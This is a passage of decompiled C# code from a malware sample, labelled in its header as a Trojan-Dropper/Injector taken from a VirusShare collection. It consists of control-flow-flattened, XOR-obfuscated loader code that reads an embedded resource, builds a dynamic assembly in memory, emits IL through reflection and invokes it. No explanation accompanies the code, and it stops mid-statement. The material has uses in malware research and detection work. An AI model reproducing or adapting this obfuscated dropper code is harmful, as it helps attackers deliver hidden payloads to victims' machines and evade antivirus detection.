// Decompiled with JetBrains decompiler // Type:  // Assembly: Feon, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: AF8034ED-5A2C-4122-9E1B-F560737FA983 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.exwr-69a114df5525bb71f18484f15cb4dd44f7c416f26c41b8af17d2ce1b2774383e.exe using System; using System.Collections; using System.Diagnostics; using System.IO; using System.Reflection; using System.Reflection.Emit; using System.Text; internal sealed class \uE008 { public static string \uE000(int _param0) => string.Intern(\uE008.\uE000.\uE000.\uE001(_param0)); public static string \uE000 => "3b1c5fd1ae174948"; private sealed class \uE000 { public static readonly \uE008.\uE000 \uE000; static \uE000() { \uE009.\uE000(); \uE008.\uE000.\uE000 = new \uE008.\uE000(); } private \uE000() { Assembly executingAssembly = Assembly.GetExecutingAssembly(); label_2: int num = -482737877; TypeBuilder typeBuilder; AppDomain currentDomain; AssemblyName name; ModuleBuilder moduleBuilder; Stream stream; AssemblyBuilder assemblyBuilder; Type type; while (true) { switch ((num ^ 478650879) + 4349747) { case 0: this.\uE000(typeBuilder); num = -482737875; continue; case 1: assemblyBuilder = currentDomain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run); num = -482737874; continue; case 2: stream = (Stream) \uE011.\uE000(executingAssembly.GetManifestResourceStream(\uE008.\uE000)); num = -482737876; continue; case 3: typeBuilder = moduleBuilder.DefineType("?", TypeAttributes.NotPublic); num = -482737870; continue; case 4: moduleBuilder = assemblyBuilder.DefineDynamicModule("?"); num = -482737873; continue; case 5: type = typeBuilder.CreateType(); num = -482737872; continue; case 6: type.InvokeMember("?", BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod, (Binder) null, (object) null, new object[2] { (object) stream, (object) \uE008.\uE000 }); num = -482737880; continue; case 7: currentDomain = AppDomain.CurrentDomain; num = -482737878; continue; case 8: name = new AssemblyName(); num = -482737879; continue; case 9: name.Name = "?"; num = -482737871; continue; case 10: goto label_10; default: goto label_2; } } label_10:; } public MethodBuilder \uE000(TypeBuilder _param1) { MethodAttributes attributes = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig; label_16: int num1 = 161182891; int num2 = -1131945097; label_2: num2 ^= 1126392999; int num3; int num4; switch (num2 + 5994545) { case 0: goto label_16; case 1: MethodBuilder methodBuilder; while (true) { num1 ^= 162751255; byte[] bytes; ILGenerator ilGenerator; string s; Type type1; BindingFlags bindingAttr1; ConstructorInfo constructor1; Label label1; string[] strArray; BindingFlags bindingAttr2; MethodInfo method1; MethodInfo method2; MethodInfo method3; Label label2; Label label3; MethodInfo method4; MethodInfo method5; MethodInfo method6; ConstructorInfo constructor2; MethodInfo method7; Type type2; MethodInfo method8; ConstructorInfo constructor3; MethodInfo method9; MethodInfo method10; Label label4; MethodInfo method11; Label label5; MethodInfo method12; MethodInfo method13; MethodInfo method14; MethodInfo method15; Label label6; switch (num1) { case 2627421: bytes[69] = (byte) ((uint) bytes[69] ^ 61U); num1 = 161182860; continue; case 2627422: ilGenerator.Emit(OpCodes.Ldloc_1); num1 = 161182927; continue; case 2627423: s = "WT8OY3IKPCxJDEszF00CAUl5Pg9zSXQoJVQ0Wz1rQxxhfG9dBklqJAxFAC4LbztrSBAhSC8RdC9LSxEof18YAXldd25vWFgoQFV5dn0ha3s5KkNFIEVYBwIEbUo9GXtOaGtBdWBwExpFCXpTbjV8K28wAgRtMyBCQEwuIUcSQihOBW8hJx57JD1zRBAhE1hHQiZTWhgJQ0BVaVEvSVlbai9sYjwbE2NNVSg4HlxcVXUAEkcbPEgOTHYuY09NTgFbCEEOZikReSQiH34UZiUdbB1/ZyV0cX5gH0xWdWkBeHEFJWViSloycXwHWQc1SSMtNmUVIU4RfmMUIjVIQQJvCDVRDiNUGQ=="; num1 = 161184562; continue; case 2627424: ilGenerator.DeclareLocal(typeof (StackTrace)); num1 = 161182948; continue; case 2627425: constructor1 = type1.GetConstructor(bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null); num1 = 161182870; continue; case 2627426: bytes[85] = bytes[85]; num1 = 161184661; continue; case 2627427: bytes[232] = (byte) ((uint) bytes[232] ^ 82U); num1 = 161184514; continue; case 2627428: bytes[152] = (byte) ((uint) bytes[152] ^ 48U); num1 = 161182945; continue; case 2627429: bytes[33] = (byte) ((uint) bytes[33] ^ 5U); num1 = 161184534; continue; case 2627430: bytes[189] = (byte) ((uint) bytes[189] ^ 35U); num1 = 161182880; continue; case 2627431: ilGenerator.MarkLabel(label1); num1 = 161184516; continue; case 2627432: bytes[182] = (byte) ((uint) bytes[182] ^ 106U); num1 = 161184733; continue; case 2627433: bytes[6] = (byte) ((uint) bytes[6] ^ 81U); num1 = 161182884; continue; case 2627434: method1 = typeof (AppDomain).GetMethod(strArray[13], bindingAttr2, (Binder) null, new Type[0], (ParameterModifier[]) null); num1 = 161184729; continue; case 2627435: bytes[80] = (byte) ((uint) bytes[80] ^ 92U); num1 = 161182881; continue; case 2627436: ilGenerator.Emit(OpCodes.Ldloc_S, 5); num1 = 161184702; continue; case 2627437: bytes[(int) sbyte.MaxValue] = (byte) ((uint) bytes[(int) sbyte.MaxValue] ^ 70U); num1 = 161184720; continue; case 2627438: bytes[110] = (byte) ((uint) bytes[110] ^ 25U); num1 = 161184625; continue; case 2627439: bytes[139] = (byte) ((uint) bytes[139] ^ 43U); num1 = 161184551; continue; case 2627440: bytes[53] = (byte) ((uint) bytes[53] ^ 69U); num1 = 161184569; continue; case 2627441: method2 = typeof (BinaryReader).GetMethod(strArray[11], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null); num1 = 161184662; continue; case 2627442: bytes[210] = (byte) ((uint) bytes[210] ^ 6U); num1 = 161182871; continue; case 2627443: bytes[216] = (byte) ((uint) bytes[216] ^ 108U); num1 = 161184612; continue; case 2627444: bytes[57] = (byte) ((uint) bytes[57] ^ 13U); num1 = 161184543; continue; case 2627445: bytes[171] = (byte) ((uint) bytes[171] ^ 107U); num1 = 161184652; continue; case 2627446: bindingAttr2 = BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic; num1 = 161182792; continue; case 2627447: bytes[130] = (byte) ((uint) bytes[130] ^ 10U); num1 = 161184559; continue; case 2627448: bytes[249] = (byte) ((uint) bytes[249] ^ 79U); num1 = 161182921; continue; case 2627449: bytes[83] = (byte) ((uint) bytes[83] ^ 35U); num1 = 161182909; continue; case 2627450: bytes[214] = (byte) ((uint) bytes[214] ^ 45U); num1 = 161184528; continue; case 2627451: bytes[167] = (byte) ((uint) bytes[167] ^ 57U); num1 = 161182971; continue; case 2627452: bytes[106] = (byte) ((uint) bytes[106] ^ 31U); num1 = 161182856; continue; case 2627453: bytes[35] = (byte) ((uint) bytes[35] ^ 56U); num1 = 161182894; continue; case 2627454: bytes[248] = (byte) ((uint) bytes[248] ^ 113U); num1 = 161182831; continue; case 2627455: bytes[118] = (byte) ((uint) bytes[118] ^ 84U); num1 = 161184576; continue; case 2627456: bytes[211] = (byte) ((uint) bytes[211] ^ 70U); num1 = 161182954; continue; case 2627457: method3 = type1.GetMethod(strArray[0], bindingAttr1, (Binder) null, new Type[1] { typeof (int) }, (ParameterModifier[]) null); num1 = 161184677; continue; case 2627458: bytes[114] = (byte) ((uint) bytes[114] ^ 106U); num1 = 161184650; continue; case 2627459: ilGenerator.Emit(OpCodes.Br_S, label2); num1 = 161182832; continue; case 2627460: ilGenerator.Emit(OpCodes.Bne_Un_S, label3); num1 = 161182951; continue; case 2627461: ilGenerator.Emit(OpCodes.Ldarg_0); num1 = 161182850; continue; case 2627462: bytes[227] = (byte) ((uint) bytes[227] ^ 17U); num1 = 161182859; continue; case 2627463: bytes[17] = (byte) ((uint) bytes[17] ^ 29U); num1 = 161182876; continue; case 2627464: method4 = typeof (Stream).GetMethod(strArray[9], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null); num1 = 161184548; continue; case 2627465: bytes[87] = (byte) ((uint) bytes[87] ^ 110U); num1 = 161184530; continue; case 2627466: method5 = typeof (Stream).GetMethod(strArray[10], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null); num1 = 161182822; continue; case 2627467: bytes[18] = (byte) ((uint) bytes[18] ^ 5U); num1 = 161184538; continue; case 2627468: ilGenerator.Emit(OpCodes.Ldloc_S, 6); num1 = 161184564; continue; case 2627469: bytes[175] = (byte) ((uint) bytes[175] ^ 24U); num1 = 161182966; continue; case 2627470: method6 = typeof (Type).GetMethod(strArray[4], bindingAttr2, (Binder) null, new Type[1] { typeof (RuntimeTypeHandle) }, (ParameterModifier[]) null); num1 = 161184660; continue; case 2627471: ilGenerator.Emit(OpCodes.Newobj, constructor1); num1 = 161182936; continue; case 2627472: bytes[158] = (byte) ((uint) bytes[158] ^ 58U); num1 = 161182935; continue; case 2627473: bytes[193] = (byte) ((uint) bytes[193] ^ 32U); num1 = 161184539; continue; case 2627474: ilGenerator.Emit(OpCodes.Box, typeof (int)); num1 = 161182843; continue; case 2627475: bytes[55] = (byte) ((uint) bytes[55] ^ 95U); num1 = 161184535; continue; case 2627476: bytes[146] = (byte) ((uint) bytes[146] ^ 39U); num1 = 161184663; continue; case 2627477: ilGenerator.Emit(OpCodes.Newobj, constructor2); num1 = 161184701; continue; case 2627478: bytes[166] = (byte) ((uint) bytes[166] ^ 2U); num1 = 161182828; continue; case 2627479: bytes[109] = (byte) ((uint) bytes[109] ^ 121U); num1 = 161182841; continue; case 2627480: ilGenerator.MarkLabel(label2); num1 = 161184725; continue; case 2627481: bytes[133] = (byte) ((uint) bytes[133] ^ 77U); num1 = 161184563; continue; case 2627482: bytes[230] = (byte) ((uint) bytes[230] ^ 81U); num1 = 161184622; continue; case 2627483: bytes[70] = (byte) ((uint) bytes[70] ^ 44U); num1 = 161184675; continue; case 2627484: bytes[228] = (byte) ((uint) bytes[228] ^ 62U); num1 = 161182901; continue; case 2627485: bytes[129] = (byte) ((uint) bytes[129] ^ 87U); num1 = 161182816; continue; case 2627486: bytes[126] = (byte) ((uint) bytes[126] ^ 45U); num1 = 161182842; continue; case 2627487: bytes[107] = (byte) ((uint) bytes[107] ^ 39U); num1 = 161184542; continue; case 2627488: ilGenerator = methodBuilder.GetILGenerator(); num1 = 161182839; continue; case 2627489: bytes[254] = (byte) ((uint) bytes[254] ^ 6U); num1 = 161184529; continue; case 2627490: bytes[229] = (byte) ((uint) bytes[229] ^ 51U); num1 = 161182861; continue; case 2627491: ilGenerator.DeclareLocal(typeof (BinaryReader)); num1 = 161184695; continue; case 2627492: bytes[186] = (byte) ((uint) bytes[186] ^ 16U); num1 = 161182915; continue; case 2627493: bytes[234] = (byte) ((uint) bytes[234] ^ 45U); num1 = 161184602; continue; case 2627494: bytes[8] = (byte) ((uint) bytes[8] ^ 114U); num1 = 161182919; continue; case 2627495: bytes[245] = (byte) ((uint) bytes[245] ^ 104U); num1 = 161184698; continue; case 2627496: bytes[3] = (byte) ((uint) bytes[3] ^ 37U); num1 = 161184624; continue; case 2627497: bytes[66] = (byte) ((uint) bytes[66] ^ 18U); num1 = 161184517; continue; case 2627498: bytes[84] = (byte) ((uint) bytes[84] ^ 27U); num1 = 161182837; continue; case 2627499: bytes[220] = (byte) ((uint) bytes[220] ^ 71U); num1 = 161182953; continue; case 2627500: bytes[46] = (byte) ((uint) bytes[46] ^ 90U); num1 = 161182947; continue; case 2627501: bytes[52] = (byte) ((uint) bytes[52] ^ 91U); num1 = 161182823; continue; case 2627502: bytes[132] = (byte) ((uint) bytes[132] ^ 67U); num1 = 161182862; continue; case 2627503: method7 = Type.GetType(strArray[18]).GetMethod(strArray[7], bindingAttr2, (Binder) null, new Type[1] { typeof (int) }, (ParameterModifier[]) null); num1 = 161184657; continue; case 2627504: bytes[73] = (byte) ((uint) bytes[73] ^ 52U); num1 = 161184596; continue; case 2627505: ilGenerator.Emit(OpCodes.Add); num1 = 161184667; continue; case 2627506: ilGenerator.Emit(OpCodes.Stloc_1); num1 = 161184676; continue; case 2627507: bytes[7] = (byte) ((uint) bytes[7] ^ 73U); num1 = 161182897; continue; case 2627508: bytes[180] = (byte) ((uint) bytes[180] ^ 84U); num1 = 161182882; continue; case 2627509: bytes[181] = (byte) ((uint) bytes[181] ^ 39U); num1 = 161182847; continue; case 2627510: bytes[81] = (byte) ((uint) bytes[81] ^ 82U); num1 = 161182975; continue; case 2627511: bytes[190] = (byte) ((uint) bytes[190] ^ 47U); num1 = 161184723; continue; case 2627512: bytes[102] = (byte) ((uint) bytes[102] ^ 125U); num1 = 161184673; continue; case 2627513: bytes[36] = (byte) ((uint) bytes[36] ^ 61U); num1 = 161184703; continue; case 2627514: method8 = type2.GetMethod(strArray[1], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null); num1 = 161184593; continue; case 2627515: bytes[225] = (byte) ((uint) bytes[225] ^ 75U); num1 = 161182917; continue; case 2627516: bindingAttr1 = BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic; num1 = 161182817; continue; case 2627517: bytes[30] = (byte) ((uint) bytes[30] ^ 45U); num1 = 161184540; continue; case 2627518: ilGenerator.Emit(OpCodes.Newobj, constructor3); num1 = 161184591; continue; case 2627519: bytes[93] = (byte) ((uint) bytes[93] ^ 70U); num1 = 161184581; continue; case 2627520: bytes[159] = (byte) ((uint) bytes[159] ^ 3U); num1 = 161184572; continue; case 2627521: bytes[20] = (byte) ((uint) bytes[20] ^ 22U); num1 = 161182939; continue; case 2627522: ilGenerator.Emit(OpCodes.Stloc_S, 4); num1 = 161182866; continue; case 2627523: bytes[188] = (byte) ((uint) bytes[188] ^ 40U); num1 = 161182833; continue; case 2627524: bytes[149] = (byte) ((uint) bytes[149] ^ 124U); num1 = 161184735; continue; case 2627525: bytes[224] = (byte) ((uint) bytes[224] ^ 98U); num1 = 161182892; continue; case 2627526: method9 = typeof (string).GetMethod(strArray[6], bindingAttr1, (Binder) null, new Type[1] { typeof (string) }, (ParameterModifier[]) null); num1 = 161182904; continue; case 2627527: bytes[122] = (byte) ((uint) bytes[122] ^ 93U); num1 = 161184668; continue; case 2627528: bytes[32] = (byte) ((uint) bytes[32] ^ 53U); num1 = 161182834; continue; case 2627529: bytes[257] = (byte) ((uint) bytes[257] ^ 63U); num1 = 161184519; continue; case 2627530: bytes[125] = (byte) ((uint) bytes[125] ^ 123U); num1 = 161182857; continue; case 2627531: bytes[59] = (byte) ((uint) bytes[59] ^ 71U); num1 = 161182950; continue; case 2627532: bytes[21] = (byte) ((uint) bytes[21] ^ 61U); num1 = 161184665; continue; case 2627533: bytes[185] = (byte) ((uint) bytes[185] ^ 87U); num1 = 161182899; continue; case 2627534: bytes[163] = (byte) ((uint) bytes[163] ^ 89U); num1 = 161184724; continue; case 2627535: ilGenerator.Emit(OpCodes.Stloc_0); num1 = 161184566; continue; case 2627536: bytes[9] = (byte) ((uint) bytes[9] ^ 75U); num1 = 161184636; continue; case 2627537: bytes[49] = (byte) ((uint) bytes[49] ^ 43U); num1 = 161184518; continue; case 2627538: bytes[226] = (byte) ((uint) bytes[226] ^ 10U); num1 = 161182865; continue; case 2627539: bytes[241] = (byte) ((uint) bytes[241] ^ 8U); num1 = 161184656; continue; case 2627540: bytes[187] = (byte) ((uint) bytes[187] ^ 59U); num1 = 161182932; continue; case 2627541: bytes[63] = (byte) ((uint) bytes[63] ^ 111U); num1 = 161184536; continue; case 2627542: bytes[72] = (byte) ((uint) bytes[72] ^ 14U); num1 = 161182887; continue; case 2627543: bytes[195] = (byte) ((uint) bytes[195] ^ 8U); num1 = 161184700; continue; case 2627544: ilGenerator.Emit(OpCodes.Ldc_I4_1); num1 = 161182886; continue; case 2627545: ilGenerator.Emit(OpCodes.Stloc_2); num1 = 161182959; continue; case 2627546: bytes[199] = (byte) ((uint) bytes[199] ^ 77U); num1 = 161184577; continue; case 2627547: bytes[51] = (byte) ((uint) bytes[51] ^ 45U); num1 = 161182906; continue; case 2627548: bytes[100] = (byte) ((uint) bytes[100] ^ 15U); num1 = 161182962; continue; case 2627549: bytes[61] = (byte) ((uint) bytes[61] ^ 23U); num1 = 161184610; continue; case 2627550: bytes[250] = (byte) ((uint) bytes[250] ^ 27U); num1 = 161182952; continue; case 2627551: bytes[197] = (byte) ((uint) bytes[197] ^ 98U); num1 = 161184621; continue; case 2627552: bytes[0] = (byte) ((uint) bytes[0] ^ 30U); num1 = 161184550; continue; case 2627553: bytes[176] = (byte) ((uint) bytes[176] ^ 101U); num1 = 161184734; continue; case 2627554: bytes[155] = (byte) ((uint) bytes[155] ^ 107U); num1 = 161184732; continue; case 2627555: label3 = ilGenerator.DefineLabel(); num1 = 161184631; continue; case 2627556: method10 = typeof (Type).GetMethod(strArray[3], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null); num1 = 161182873; continue; case 2627557: bytes[101] = (byte) ((uint) bytes[101] ^ 5U); num1 = 161182895; continue; case 2627558: ilGenerator.Emit(OpCodes.Ldloc_3); num1 = 161184670; continue; case 2627559: bytes[99] = (byte) ((uint) bytes[99] ^ 54U); num1 = 161182923; continue; case 2627560: bytes[82] = (byte) ((uint) bytes[82] ^ 12U); num1 = 161182830; continue; case 2627561: ilGenerator.Emit(OpCodes.Callvirt, method5); num1 = 161184731; continue; case 2627562: bytes[256] = (byte) ((uint) bytes[256] ^ 90U); num1 = 161182942; continue; case 2627563: bytes[238] = (byte) ((uint) bytes[238] ^ 101U); num1 = 161184638; continue; case 2627564: bytes[168] = (byte) ((uint) bytes[168] ^ 52U); num1 = 161182955; continue; case 2627565: ilGenerator.Emit(OpCodes.Ldarg_1); num1 = 161182875; continue; case 2627566: ilGenerator.Emit(OpCodes.Ldarg_0); num1 = 161184617; continue; case 2627567: bytes[40] = (byte) ((uint) bytes[40] ^ 83U); num1 = 161184614; continue; case 2627568: ilGenerator.Emit(OpCodes.Ldloc_3); num1 = 161184553; continue; case 2627569: bytes[60] = (byte) ((uint) bytes[60] ^ 18U); num1 = 161182922; continue; case 2627570: bytes[28] = (byte) ((uint) bytes[28] ^ 79U); num1 = 161182957; continue; case 2627571: ilGenerator.DeclareLocal(typeof (int)); num1 = 161184522; continue; case 2627572: bytes[47] = (byte) ((uint) bytes[47] ^ 6U); num1 = 161184531; continue; case 2627573: bytes[143] = (byte) ((uint) bytes[143] ^ 124U); num1 = 161184666; continue; case 2627574: bytes[153] = (byte) ((uint) bytes[153] ^ 7U); num1 = 161184730; continue; case 2627575: label2 = ilGenerator.DefineLabel(); num1 = 161184623; continue; case 2627576: ilGenerator.Emit(OpCodes.Ldloc_2); num1 = 161184579; continue; case 2627577: bytes[121] = (byte) ((uint) bytes[121] ^ 35U); num1 = 161182928; continue; case 2627578: bytes[29] = (byte) ((uint) bytes[29] ^ 2U); num1 = 161182890; continue; case 2627579: ilGenerator.MarkLabel(label4); num1 = 161184637; continue; case 2627580: bytes[169] = (byte) ((uint) bytes[169] ^ 19U); num1 = 161184647; continue; case 2627581: bytes[212] = (byte) ((uint) bytes[212] ^ 17U); num1 = 161184630; continue; case 2627582: bytes[221] = (byte) ((uint) bytes[221] ^ 69U); num1 = 161184643; continue; case 2627583: bytes[251] = (byte) ((uint) bytes[251] ^ 13U); num1 = 161184544; continue; case 2627584: bytes[56] = (byte) ((uint) bytes[56] ^ 46U); num1 = 161182819; continue; case 2627585: bytes[34] = (byte) ((uint) bytes[34] ^ 31U); num1 = 161182826; continue; case 2627586: strArray = Encoding.UTF8.GetString(bytes).Split(';'); num1 = 161184573; continue; case 2627587: ilGenerator.Emit(OpCodes.Callvirt, method10); num1 = 161184554; continue; case 2627588: bytes[48] = (byte) ((uint) bytes[48] ^ 45U); num1 = 161182918; continue; case 2627589: bytes[88] = (byte) ((uint) bytes[88] ^ 118U); num1 = 161184696; continue; case 2627590: bytes[(int) byte.MaxValue] = (byte) ((uint) bytes[(int) byte.MaxValue] ^ 122U); num1 = 161182973; continue; case 2627591: bytes[215] = (byte) ((uint) bytes[215] ^ 25U); num1 = 161182820; continue; case 2627592: bytes[58] = (byte) ((uint) bytes[58] ^ 99U); num1 = 161182940; continue; case 2627593: bytes[108] = (byte) ((uint) bytes[108] ^ 49U); num1 = 161182848; continue; case 2627594: bytes[79] = (byte) ((uint) bytes[79] ^ 31U); num1 = 161182844; continue; case 2627595: bytes[31] = (byte) ((uint) bytes[31] ^ 123U); num1 = 161182943; continue; case 2627596: bytes[194] = (byte) ((uint) bytes[194] ^ 105U); num1 = 161182912; continue; case 2627597: bytes[19] = (byte) ((uint) bytes[19] ^ 104U); num1 = 161182934; continue; case 2627598: bytes[223] = (byte) ((uint) bytes[223] ^ 16U); num1 = 161182930; continue; case 2627599: bytes[64] = (byte) ((uint) bytes[64] ^ 29U); num1 = 161184512; continue; case 2627600: bytes[258] = (byte) ((uint) bytes[258] ^ 99U); num1 = 161184574; continue; case 2627601: bytes[50] = (byte) ((uint) bytes[50] ^ 102U); num1 = 161182924; continue; case 2627602: bytes[67] = (byte) ((uint) bytes[67] ^ 85U); num1 = 161184567; continue; case 2627603: ilGenerator.Emit(OpCodes.Ldloc_S, 6); num1 = 161182969; continue; case 2627604: bytes[165] = (byte) ((uint) bytes[165] ^ 87U); num1 = 161182849; continue; case 2627605: bytes[233] = (byte) ((uint) bytes[233] ^ 84U); num1 = 161182898; continue; case 2627606: ilGenerator.Emit(OpCodes.Callvirt, method11); num1 = 161184532; continue; case 2627607: bytes[65] = (byte) ((uint) bytes[65] ^ 49U); num1 = 161182910; continue; case 2627608: bytes[45] = (byte) ((uint) bytes[45] ^ 33U); num1 = 161182907; continue; case 2627609: bytes[44] = (byte) ((uint) bytes[44] ^ 103U); num1 = 161184527; continue; case 2627610: ilGenerator.Emit(OpCodes.Blt_S, label5); num1 = 161182956; continue; case 2627611: bytes[178] = (byte) ((uint) bytes[178] ^ 34U); num1 = 161184699; continue; case 2627612: bytes[113] = (byte) ((uint) bytes[113] ^ 68U); num1 = 161182869; continue; case 2627613: ilGenerator.DeclareLocal(typeof (StackFrame)); num1 = 161184545; continue; case 2627614: bytes[148] = (byte) ((uint) bytes[148] ^ 91U); num1 = 161182931; continue; case 2627615: bytes[27] = (byte) ((uint) bytes[27] ^ 58U); num1 = 161182949; continue; case 2627616: bytes[68] = (byte) ((uint) bytes[68] ^ 8U); num1 = 161182794; continue; case 2627617: ilGenerator.Emit(OpCodes.Ldc_I4_S, 8); num1 = 161182885; continue; case 2627618: bytes[120] = (byte) ((uint) bytes[120] ^ 16U); num1 = 161182958; continue; case 2627619: ilGenerator.Emit(OpCodes.Callvirt, method12); num1 = 161184586; continue; case 2627620: bytes[134] = (byte) ((uint) bytes[134] ^ 15U); num1 = 161184546; continue; case 2627621: bytes = Convert.FromBase64String(s); num1 = 161182967; continue; case 2627622: bytes[12] = (byte) ((uint) bytes[12] ^ 90U); num1 = 161184583; continue; case 2627623: ilGenerator.Emit(OpCodes.Blt_S, label1); num1 = 161184649; continue; case 2627624: bytes[23] = (byte) ((uint) bytes[23] ^ 108U); num1 = 161184547; continue; case 2627625: bytes[259] = (byte) ((uint) bytes[259] ^ 70U); num1 = 161184589; continue; case 2627626: methodBuilder = _param1.DefineMethod("?", attributes, typeof (void), new Type[2] { typeof (Stream), typeof (string) }); num1 = 161184645; continue; case 2627627: bytes[160] = (byte) ((uint) bytes[160] ^ 65U); num1 = 161184601; continue; case 2627628: bytes[136] = (byte) ((uint) bytes[136] ^ 84U); num1 = 161184671; continue; case 2627629: ilGenerator.Emit(OpCodes.Ldc_I4_M1); num1 = 161184642; continue; case 2627630: bytes[54] = (byte) ((uint) bytes[54] ^ 13U); num1 = 161182852; continue; case 2627631: bytes[97] = (byte) ((uint) bytes[97] ^ 6U); num1 = 161184603; continue; case 2627632: bytes[140] = (byte) ((uint) bytes[140] ^ 96U); num1 = 161184688; continue; case 2627633: bytes[1] = (byte) ((uint) bytes[1] ^ 90U); num1 = 161184686; continue; case 2627634: bytes[90] = (byte) ((uint) bytes[90] ^ 10U); num1 = 161184640; continue; case 2627635: constructor2 = typeof (BinaryReader).GetConstructor(bindingAttr1, (Binder) null, new Type[1] { typeof (Stream) }, (ParameterModifier[]) null); num1 = 161184592; continue; case 2627636: bytes[24] = (byte) ((uint) bytes[24] ^ 64U); num1 = 161184694; continue; case 2627637: bytes[135] = (byte) ((uint) bytes[135] ^ 86U); num1 = 161184571; continue; case 2627638: ilGenerator.DeclareLocal(typeof (string)); num1 = 161184587; continue; case 2627639: bytes[252] = (byte) ((uint) bytes[252] ^ 47U); num1 = 161184721; continue; case 2627640: bytes[131] = (byte) ((uint) bytes[131] ^ 64U); num1 = 161182905; continue; case 2627641: bytes[243] = (byte) ((uint) bytes[243] ^ 26U); num1 = 161184606; continue; case 2627642: bytes[105] = (byte) ((uint) bytes[105] ^ 110U); num1 = 161182827; continue; case 2627643: bytes[237] = (byte) ((uint) bytes[237] ^ 34U); num1 = 161182972; continue; case 2627644: bytes[174] = (byte) ((uint) bytes[174] ^ 60U); num1 = 161182874; continue; case 2627645: ilGenerator.Emit(OpCodes.Stloc_3); num1 = 161182961; continue; case 2627646: ilGenerator.Emit(OpCodes.Ldstr, strArray[15]); num1 = 161184682; continue; case 2627647: bytes[75] = (byte) ((uint) bytes[75] ^ 19U); num1 = 161184685; continue; case 2627648: methodBuilder.DefineParameter(1, ParameterAttributes.None, "a"); num1 = 161184680; continue; case 2627649: bytes[96] = (byte) ((uint) bytes[96] ^ 9U); num1 = 161184568; continue; case 2627650: bytes[151] = (byte) ((uint) bytes[151] ^ 50U); num1 = 161182835; continue; case 2627651: bytes[74] = (byte) ((uint) bytes[74] ^ 20U); num1 = 161184552; continue; case 2627652: bytes[16] = (byte) ((uint) bytes[16] ^ 38U); num1 = 161182864; continue; case 2627653: bytes[78] = (byte) ((uint) bytes[78] ^ 5U); num1 = 161184541; continue; case 2627654: method11 = typeof (MemberInfo).GetMethod(strArray[2], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null); num1 = 161182963; continue; case 2627655: constructor3 = typeof (Hashtable).GetConstructor(bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null); num1 = 161182877; continue; case 2627656: bytes[77] = (byte) ((uint) bytes[77] ^ 104U); num1 = 161184594; continue; case 2627657: bytes[244] = (byte) ((uint) bytes[244] ^ 29U); num1 = 161182896; continue; case 2627658: ilGenerator.Emit(OpCodes.Ldloc_1); num1 = 161184669; continue; case 2627659: label5 = ilGenerator.DefineLabel(); num1 = 161182944; continue; case 2627660: bytes[98] = (byte) ((uint) bytes[98] ^ 36U); num1 = 161182960; continue; case 2627661: bytes[235] = (byte) ((uint) bytes[235] ^ 102U); num1 = 161184616; continue; case 2627662: bytes[161] = (byte) ((uint) bytes[161] ^ 87U); num1 = 161184728; continue; case 2627663: ilGenerator.Emit(OpCodes.Callvirt, method9); num1 = 161184588; continue; case 2627664: bytes[13] = (byte) ((uint) bytes[13] ^ 40U); num1 = 161184658; continue; case 2627665: bytes[145] = (byte) ((uint) bytes[145] ^ 67U); num1 = 161182851; continue; case 2627666: bytes[94] = (byte) ((uint) bytes[94] ^ 61U); num1 = 161184633; continue; case 2627667: bytes[209] = (byte) ((uint) bytes[209] ^ 13U); num1 = 161182821; continue; case 2627668: ilGenerator.Emit(OpCodes.Callvirt, method8); num1 = 161184513; continue; case 2627669: bytes[39] = (byte) ((uint) bytes[39] ^ 80U); num1 = 161182968; continue; case 2627670: bytes[200] = (byte) ((uint) bytes[200] ^ 65U); num1 = 161184693; continue; case 2627671: bytes[119] = (byte) ((uint) bytes[119] ^ 29U); num1 = 161184565; continue; case 2627672: ilGenerator.Emit(OpCodes.Stloc_S, 6); num1 = 161182868; continue; case 2627673: bytes[206] = (byte) ((uint) bytes[206] ^ 126U); num1 = 161184646; continue; case 2627674: bytes[260] = (byte) ((uint) bytes[260] ^ 58U); num1 = 161184629; continue; case 2627675: ilGenerator.Emit(OpCodes.Ldc_I4_M1); num1 = 161182867; continue; case 2627676: ilGenerator.DeclareLocal(typeof (long)); num1 = 161182900; continue; case 2627677: ilGenerator.Emit(OpCodes.Ret); num1 = 161184710; continue; case 2627678: bytes[26] = (byte) ((uint) bytes[26] ^ 88U); num1 = 161184520; continue; case 2627679: bytes[15] = (byte) ((uint) bytes[15] ^ 105U); num1 = 161184595; continue; case 2627680: label4 = ilGenerator.DefineLabel(); num1 = 161184604; continue; case 2627681: bytes[213] = (byte) ((uint) bytes[213] ^ 74U); num1 = 161182829; continue; case 2627682: bytes[261] = (byte) ((uint) bytes[261] ^ 109U); num1 = 161184533; continue; case 2627683: ilGenerator.Emit(OpCodes.Callvirt, method13); num1 = 161184525; continue; case 2627684: ilGenerator.Emit(OpCodes.Callvirt, method4); num1 = 161182933; continue; case 2627685: ilGenerator.Emit(OpCodes.Ldloc_0); num1 = 161184692; continue; case 2627686: bytes[111] = (byte) ((uint) bytes[111] ^ 69U); num1 = 161184678; continue; case 2627687: bytes[4] = bytes[4]; num1 = 161184639; continue; case 2627688: bytes[5] = (byte) ((uint) bytes[5] ^ 107U); num1 = 161182846; continue; case 2627689: bytes[239] = (byte) ((uint) bytes[239] ^ 95U); num1 = 161184613; continue; case 2627690: ilGenerator.Emit(OpCodes.Ldarg_0); num1 = 161184627; continue; case 2627691: bytes[10] = (byte) ((uint) bytes[10] ^ 46U); num1 = 161184679; continue; case 2627692: bytes[124] = (byte) ((uint) bytes[124] ^ 51U); num1 = 161182941; continue; case 2627693: ilGenerator.Emit(OpCodes.Conv_I4); num1 = 161182853; continue; case 2627694: bytes[95] = (byte) ((uint) bytes[95] ^ 60U); num1 = 161184598; continue; case 2627695: bytes[43] = (byte) ((uint) bytes[43] ^ 66U); num1 = 161184526; continue; case 2627696: 